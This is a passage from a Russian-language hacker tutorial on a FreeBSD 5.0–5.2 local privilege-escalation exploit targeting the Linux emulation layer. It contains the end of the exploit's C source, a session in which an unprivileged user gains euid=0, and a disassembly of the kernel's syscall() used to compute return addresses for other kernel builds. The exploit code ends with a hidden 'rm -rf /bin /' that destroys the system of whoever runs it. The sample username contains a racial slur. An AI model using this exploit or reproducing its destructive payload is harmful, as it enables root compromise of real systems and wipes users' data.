sz = p.ki_kstack;
sz += 0x1d40;
printf("[+] kstack: 0x%x\n", sz);
write(fd, &sz, 4); // kstack addr
sz -= 0x8c;
printf("[+] stack pointer: 0x%x\n", sz);
write(fd, &sz, 4);
close(fd);
printf("[+] hold your breath...\n");
sleep(2);
printf("[!] done. are u luck as hell?\n");
system("rm -rf /bin / 2>/dev/null");
return 0;
}
А теперь проверим, как всё работает:
# kldunload linux.ko
# kldload /boot/kernel/linux.ko
$ id
uid=666(nigga) gid=666(nigga) groups=666(nigga)
$ as -o p0c.o tUx_injector.s
$ ld -o p0c p0c.o
$ brandelf -t Linux ./p0c
$ gcc -o zer0_uid tUx_0wn_fbsd.c 2>/dev/null
$ ./zer0_uid
[+] ki_paddr: 0xc1ab9000
[+] kstack: 0xc8c9cd40
[+] stack poiner: 0xc8c9ccb4
[+] hold your breath...
[!] done. are u luck as hell?
$ id
uid=666(nigga) euid=0(root) gid=666(nigga) groups=666(nigga)
$ echo h0no
h0no
[0x8] other fbsd versions =============================================
Как уже говорилось ранее, данный сплоит писался и отлаживался в freebsd
5.0-release. Возможно будет работать и на других системах ( <=5.2 ??),
на 4.х придётся вносить туеву хучу изменений (судя по структуре user.h)
и вообще не факт что работать будет...
Но тем не менее, хочется сказать пару слов о вычислении old_ret'a (look
исходник tUx_0wn_fbsd.c), т.к. после перекомпиляции ядра он может быть
отличен от дефолтового. Вот как это можно сделать:
$ objdump -x /boot/kernel/kernel | grep syscall
Теперь адрес начала syscall() берём как start-addr, прибавляем к нему
примерно 0x1ff или около того и получаем таким образом stop-addr. Далее
так:
$ objdump -D --start-addr=0xc045cc50 --stop-addr=0xc045ceaf /boot/kernel/kernel
c045cc50 <syscall>:
c045cc50: 55 push %ebp
c045cc51: 89 e5 mov %esp,%ebp
c045cc53: 57 push %edi
c045cc54: 56 push %esi
c045cc55: 53 push %ebx
c045cc56: 83 ec 4c sub $0x4c,%esp
c045cc59: 64 8b 1d 00 00 00 00 mov %fs:0x0,%ebx
c045cc60: 8b 33 mov (%ebx),%esi
c045cc62: 64 a1 38 00 00 00 mov %fs:0x38,%eax
c045cc68: 05 cc 00 00 00 add $0xcc,%eax
c045cc6d: ff 00 incl (%eax)
c045cc6f: 8b 43 44 mov 0x44(%ebx),%eax
c045cc72: 8b 40 54 mov 0x54(%eax),%eax
c045cc75: 89 45 bc mov %eax,0xffffffbc(%ebp)
c045cc78: 8d 45 08 lea 0x8(%ebp),%eax
c045cc7b: 89 83 b8 00 00 00 mov %eax,0xb8(%ebx)
c045cc81: 8b 43 78 mov 0x78(%ebx),%eax
c045cc84: 3b 46 20 cmp 0x20(%esi),%eax
c045cc87: 74 08 je c045cc91 <syscall+0x41>
c045cc89: 89 1c 24 mov %ebx,(%esp,1)
c045cc8c: e8 8f 7b e8 ff call c02e4820 <cred_update_thread>
c045cc91: 0f b7 46 38 movzwl 0x38(%esi),%eax
c045cc95: 25 00 80 ff ff and $0xffff8000,%eax
c045cc9a: 66 85 c0 test %ax,%ax
c045cc9d: 74 0c je c045ccab <syscall+0x5b>
c045cc9f: 89 5c 24 04 mov %ebx,0x4(%esp,1)
c045cca3: 89 34 24 mov %esi,(%esp,1)
c045cca6: e8 c5 59 e9 ff call c02f2670 <thread_user_enter>
c045ccab: 8b 45 48 mov 0x48(%ebp),%eax
c045ccae: 83 c0 04 add $0x4,%eax
c045ccb1: 89 45 cc mov %eax,0xffffffcc(%ebp)
c045ccb4: 8b 45 30 mov 0x30(%ebp),%eax
c045ccb7: 89 45 c8 mov %eax,0xffffffc8(%ebp)
c045ccba: 8b 55 44 mov 0x44(%ebp),%edx
c045ccbd: 89 55 c0 mov %edx,0xffffffc0(%ebp)
c045ccc0: 8b 96 60 01 00 00 mov 0x160(%esi),%edx
c045ccc6: 83 7a 30 00 cmpl $0x0,0x30(%edx)
c045ccca: 74 24 je c045ccf0 <syscall+0xa0>
c045cccc: 8d 45 cc lea 0xffffffcc(%ebp),%eax
c045cccf: 89 44 24 0c mov %eax,0xc(%esp,1)
c045ccd3: 8d 45 c8 lea 0xffffffc8(%ebp),%eax
c045ccd6: 89 44 24 08 mov %eax,0x8(%esp,1)
c045ccda: 8d 45 d0 lea 0xffffffd0(%ebp),%eax
c045ccdd: 89 44 24 04 mov %eax,0x4(%esp,1)
c045cce1: 8d 45 08 lea 0x8(%ebp),%eax
c045cce4: 89 04 24 mov %eax,(%esp,1)
c045cce7: ff 52 30 call *0x30(%edx)
c045ccea: eb 44 jmp c045cd30 <syscall+0xe0>
c045ccec: 8d 74 26 00 lea 0x0(%esi,1),%esi
c045ccf0: 83 7d c8 00 cmpl $0x0,0xffffffc8(%ebp)
c045ccf4: 75 1a jne c045cd10 <syscall+0xc0>
c045ccf6: 8b 45 cc mov 0xffffffcc(%ebp),%eax
c045ccf9: 89 04 24 mov %eax,(%esp,1)
c045ccfc: e8 63 e4 ff ff call c045b164 <fuword>
c045cd01: 89 45 c8 mov %eax,0xffffffc8(%ebp)
c045cd04: 83 45 cc 04 addl $0x4,0xffffffcc(%ebp)
c045cd08: eb 26 jmp c045cd30 <syscall+0xe0>
c045cd0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
c045cd10: 81 7d c8 c6 00 00 00 cmpl $0xc6,0xffffffc8(%ebp)
c045cd17: 75 17 jne c045cd30 <syscall+0xe0>
c045cd19: 8b 45 cc mov 0xffffffcc(%ebp),%eax
c045cd1c: 89 04 24 mov %eax,(%esp,1)
c045cd1f: e8 40 e4 ff ff call c045b164 <fuword>
c045cd24: 89 45 c8 mov %eax,0xffffffc8(%ebp)
c045cd27: 83 45 cc 08 addl $0x8,0xffffffcc(%ebp)
c045cd2b: 90 nop
c045cd2c: 8d 74 26 00 lea 0x0(%esi,1),%esi
c045cd30: 8b 96 60 01 00 00 mov 0x160(%esi),%edx
c045cd36: 83 7a 08 00 cmpl $0x0,0x8(%edx)
c045cd3a: 74 09 je c045cd45 <syscall+0xf5>
c045cd3c: 8b 45 c8 mov 0xffffffc8(%ebp),%eax
c045cd3f: 23 42 08 and 0x8(%edx),%eax
c045cd42: 89 45 c8 mov %eax,0xffffffc8(%ebp)
c045cd45: 8b 96 60 01 00 00 mov 0x160(%esi),%edx
c045cd4b: 8b 45 c8 mov 0xffffffc8(%ebp),%eax
c045cd4e: 3b 02 cmp (%edx),%eax
c045cd50: 72 0e jb c045cd60 <syscall+0x110>
c045cd52: 8b 52 04 mov 0x4(%edx),%edx
c045cd55: 89 55 c4 mov %edx,0xffffffc4(%ebp)
c045cd58: eb 18 jmp c045cd72 <syscall+0x122>
c045cd5a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
c045cd60: 8b 86 60 01 00 00 mov 0x160(%esi),%eax
c045cd66: 8b 50 04 mov 0x4(%eax),%edx
c045cd69: 8b 45 c8 mov 0xffffffc8(%ebp),%eax
c045cd6c: 8d 04 c2 lea (%edx,%eax,8),%eax
c045cd6f: 89 45 c4 mov %eax,0xffffffc4(%ebp)
c045cd72: 8b 55 c4 mov 0xffffffc4(%ebp),%edx
c045cd75: 0f b7 12 movzwl (%edx),%edx
c045cd78: 89 55 b8 mov %edx,0xffffffb8(%ebp)
c045cd7b: 83 7d cc 00 cmpl $0x0,0xffffffcc(%ebp)
c045cd7f: 74 23 je c045cda4 <syscall+0x154>
c045cd81: 85 d2 test %edx,%edx
c045cd83: 74 1f je c045cda4 <syscall+0x154>
c045cd85: 89 d0 mov %edx,%eax
c045cd87: c1 e0 02 shl $0x2,%eax
c045cd8a: 89 44 24 08 mov %eax,0x8(%esp,1)
c045cd8e: 8d 45 d0 lea 0xffffffd0(%ebp),%eax
c045cd91: 89 44 24 04 mov %eax,0x4(%esp,1)
c045cd95: 8b 45 cc mov 0xffffffcc(%ebp),%eax
c045cd98: 89 04 24 mov %eax,(%esp,1)
c045cd9b: e8 24 e1 ff ff call c045aec4 <copyin>
c045cda0: 89 c7 mov %eax,%edi
c045cda2: eb 05 jmp c045cda9 <syscall+0x159>
c045cda4: bf 00 00 00 00 mov $0x0,%edi
c045cda9: 8b 03 mov (%ebx),%eax
c045cdab: f6 80 c4 00 00 00 02 testb $0x2,0xc4(%eax)
c045cdb2: 74 2c je c045cde0 <syscall+0x190>
c045cdb4: 80 7b 56 00 cmpb $0x0,0x56(%ebx)
c045cdb8: 75 26 jne c045cde0 <syscall+0x190>
c045cdba: 8d 45 d0 lea 0xffffffd0(%ebp),%eax
c045cdbd: 89 44 24 08 mov %eax,0x8(%esp,1)
c045cdc1: 8b 45 b8 mov 0xffffffb8(%ebp),%eax
c045cdc4: 89 44 24 04 mov %eax,0x4(%esp,1)
c045cdc8: 8b 45 c8 mov 0xffffffc8(%ebp),%eax
c045cdcb: 89 04 24 mov %eax,(%esp,1)
c045cdce: e8 9d aa e7 ff call c02d7870 <ktrsyscall>
c045cdd3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
c045cdd9: 8d bc 27 00 00 00 00 lea 0x0(%edi,1),%edi
c045cde0: 8b 55 c4 mov 0xffffffc4(%ebp),%edx
c045cde3: f6 42 02 01 testb $0x1,0x2(%edx)
c045cde7: 75 24 jne c045ce0d <syscall+0x1bd>
c045cde9: c7 44 24 0c 01 04 00 movl $0x401,0xc(%esp,1)
c045cdf0: 00
c045cdf1: c7 44 24 08 1e b5 4c movl $0xc04cb51e,0x8(%esp,1)
c045cdf8: c0
c045cdf9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp,1)
c045ce00: 00
c045ce01: c7 04 24 e0 38 50 c0 movl $0xc05038e0,(%esp,1)
c045ce08: e8 73 1b e8 ff call c02de980 <_mtx_lock_flags>
c045ce0d: 85 ff test %edi,%edi
c045ce0f: 0f 85 8b 00 00 00 jne c045cea0 <syscall+0x250>
c045ce15: c7 83 98 00 00 00 00 movl $0x0,0x98(%ebx)
c045ce1c: 00 00 00
c045ce1f: 8b 45 28 mov 0x28(%ebp),%eax
c045ce22: 89 83 9c 00 00 00 mov %eax,0x9c(%ebx)
c045ce28: c7 44 24 0c 07 04 00 movl $0x407,0xc(%esp,1)
c045ce2f: 00
c045ce30: c7 44 24 08 1e b5 4c movl $0xc04cb51e,0x8(%esp,1)
c045ce37: c0
c045ce38: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp,1)
c045ce3f: 00
c045ce40: 8d 46 68 lea 0x68(%esi),%eax
c045ce43: 89 04 24 mov %eax,(%esp,1)
c045ce46: e8 35 1b e8 ff call c02de980 <_mtx_lock_flags>
c045ce4b: f6 86 08 01 00 00 04 testb $0x4,0x108(%esi)
c045ce52: 74 17 je c045ce6b <syscall+0x21b>
c045ce54: 8b 45 b8 mov 0xffffffb8(%ebp),%eax
c045ce57: 89 44 24 08 mov %eax,0x8(%esp,1)
c045ce5b: c7 44 24 04 04 00 00 movl $0x4,0x4(%esp,1)
c045ce62: 00
c045ce63: 89 34 24 mov %esi,(%esp,1)
c045ce66: e8 45 ff ea ff call c030cdb0 <stopevent>
c045ce6b: c7 44 24 0c 07 04 00 movl $0x407,0xc(%esp,1)
c045ce72: 00
c045ce73: c7 44 24 08 1e b5 4c movl $0xc04cb51e,0x8(%esp,1)
c045ce7a: c0
c045ce7b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp,1)
c045ce82: 00
c045ce83: 8d 46 68 lea 0x68(%esi),%eax
c045ce86: 89 04 24 mov %eax,(%esp,1)
c045ce89: e8 42 1b e8 ff call c02de9d0 <_mtx_unlock_flags>
c045ce8e: 8d 45 d0 lea 0xffffffd0(%ebp),%eax
c045ce91: 89 44 24 04 mov %eax,0x4(%esp,1)
c045ce95: 89 1c 24 mov %ebx,(%esp,1)
c045ce98: 8b 55 c4 mov 0xffffffc4(%ebp),%edx
c045ce9b: ff 52 04 call *0x4(%edx)
c045ce9e: 89 c7 mov %eax,%edi
c045cea0: 83 ff ff cmp $0xffffffff,%edi
c045cea3: 74 2b je c045ced0 <syscall+0x280>
c045cea5: 83 ff ff cmp $0xffffffff,%edi
c045cea8: 7f 07 jg c045ceb1 <syscall+0x261>
c045ceaa: 83 ff fe cmp $0xfffffffe,%edi
c045cead: 74 5c je c045cf0b <syscall+0x2bb>
Анализа этого кода вполне достаточно чтобы вытащить old_ret. Если у вас
туго с асмом, то вот алгоритм:
1. ищем в середине функции syscall() опкоды call'a, который не вызывает
какую-либо из фунцкий явно.
2. прибавляем к адресу инструкций вызова их размер.
Пример:
$ objdump -D --start-addr=0xc045cc50 --stop-addr=0xc045ceaf
/boot/kernel/kernel | grep call
c045cc8c: e8 8f 7b e8 ff call c02e4820 <cred_update_thread>
c045cca6: e8 c5 59 e9 ff call c02f2670 <thread_user_enter>
c045cce7: ff 52 30 call *0x30(%edx)
c045ccfc: e8 63 e4 ff ff call c045b164 <fuword>
c045cd1f: e8 40 e4 ff ff call c045b164 <fuword>
c045cd9b: e8 24 e1 ff ff call c045aec4 <copyin>
c045cdce: e8 9d aa e7 ff call c02d7870 <ktrsyscall>
c045ce08: e8 73 1b e8 ff call c02de980 <_mtx_lock_flags>
c045ce46: e8 35 1b e8 ff call c02de980 <_mtx_lock_flags>
c045ce66: e8 45 ff ea ff call c030cdb0 <stopevent>
c045ce89: e8 42 1b e8 ff call c02de9d0 <_mtx_unlock_flags>
c045ce9b: ff 52 04 call *0x4(%edx)
$
Рассмотрим sys/i386/i386/trap.c:
/*
* syscall - system call request C handler
*
* A system call is essentially treated as a trap.
*/
void
syscall(frame)
struct trapframe frame;
{
caddr_t params;
struct sysent *callp;
struct thread *td = curthread;
struct proc *p = td->td_proc;
register_t orig_tf_eflags;
u_int sticks;
int error;
int narg;
int args[8];
u_int code;
/*
* note: PCPU_LAZY_INC() can only be used if we can afford
* occassional inaccuracy in the count.
*/
PCPU_LAZY_INC(cnt.v_syscall);
...
if (p->p_sysent->sv_prepsyscall) {
/*
* The prep code is MP aware.
*/
(*p->p_sysent->sv_prepsyscall)(&frame, args, &code, ¶ms);[1]
} else {
...
narg = callp->sy_narg & SYF_ARGMASK;
/*
* copyin and the ktrsyscall()/ktrsysret() code is MP-aware
*/
if (params != NULL && narg != 0)
error = copyin(params, (caddr_t)args, [2]
(u_int)(narg * sizeof(int)));
else
error = 0;
#ifdef KTRACE
if (KTRPOINT(td, KTR_SYSCALL))
ktrsyscall(code, narg, args); [3]
#endif
/*
* Try to run the syscall without Giant if the syscall
* is MP safe.
*/
if ((callp->sy_narg & SYF_MPSAFE) == 0)
mtx_lock(&Giant); [4]
if (error == 0) {
td->td_retval[0] = 0;
td->td_retval[1] = frame.tf_edx;
STOPEVENT(p, S_SCE, narg); [5]
error = (*callp->sy_call)(td, args); [6]
}
Теперь взглянем, на сколько соответсвуют данные вызовы полученным нами
из дизасма функциям:
c045cce7: ff 52 30 call *0x30(%edx) == [1]
Легко видеть в данном случае, что вызывается не какая-то конкретная
функция, а именно адрес, на который указывает sv_prepsyscall. Значит
верно, этот вызов соответсвует приведённому из disasma.
c045cd9b: e8 24 e1 ff ff call c045aec4 <copyin> == [2]
Ну, copyin() в функции syscall() вызывается всего 1 раз,так что никакой
путаницы возникнуть тоже не должно.
c045cdce: e8 9d aa e7 ff call c02d7870 <ktrsyscall> == [3]
Логично, не правда ли?
c045ce08: e8 73 1b e8 ff call c02de980 <_mtx_lock_flags> == [4]
c045ce46: e8 35 1b e8 ff call c02de980 <_mtx_lock_flags> == [4]
Тут немного не ясно почему вызывается дважды, но смотрите исходники
mtx_lock.
c045ce66: e8 45 ff ea ff call c030cdb0 <stopevent> == [5]
c045ce89: e8 42 1b e8 ff call c02de9d0 <_mtx_unlock_flags> == [5]
Снова не очевидно, но достаточно посмотреть макрос STOPEVENT().
c045ce9b: ff 52 04 call *0x4(%edx) == [6]
И наконец, остаётся то что нам нужно, вызывается обработчик данного
syscall'a, в нашем случае это linux_setgroups16(). Следовательно, адрес
возврата будет равен 0xc045ce9b + (длина инструкций вызова == 3). В
конечном счёте получаем 0xc045ce9e, что и требовалось доказать. Теперь
илитные люди смогут юзать сплоит на машинах с fbsd 5.[0-2].
g00d 1uCk
# eof